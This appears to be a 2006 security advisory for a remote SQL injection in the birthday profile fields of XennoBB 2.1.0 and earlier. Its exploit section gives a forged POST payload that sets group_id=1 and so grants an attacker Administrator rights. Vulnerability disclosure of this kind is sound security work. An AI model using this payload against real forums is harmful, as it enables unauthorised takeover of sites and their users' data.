XennoBB <= 2.1.0 "birthday" SQL injection

--------------------- SUMMARY ---------------------

Name:

XennoBB "birthday" SQL Injection (6/8/2006)

Vendor / Product:

XennoBB Group

http://www.xennobb.com/

Description:

The world's most revolutionary and easy to use bulletin board.

Revolutionary because it redefines the boundaries of usability

and power; from the first version it's a real alternative to

the commercial forums out there.

How can XennoBB be described in few words?

Lightning-speed, stable, SECURED(?) and modern.

Version(s) Affected:

<= 2.1.0

Severity:

High

Impact:

SQL Injection (Remote)

Status:

Unpatched

Discovered by:

Chris Boulton <http://www.surfionline.com>

------------------- DESCRIPTION -------------------

An exploit exists in the above mentioned versions of XennoBB which

can be exploited by malicious users to conduct SQL injection attacks.

Input passed to the "bday_day", "bday_month" and "bday_year form

fields is not properly sanitised before being used in an SQL query.

This exploit can lead to manipulation of SQL queries by injecting

arbitary SQL code.

--------------------- EXPLOIT ---------------------

Submit a forged POST request to

/profile.php?section=personal&id={your registered user ID here}

With the following as the POST data:

form_sent=1&form[sex]=a&bday_day=1&bday_month=2&bday_year=", group_id=1, birthday="

Successful exploitation leads to the user group being changed to

that of Administrators.

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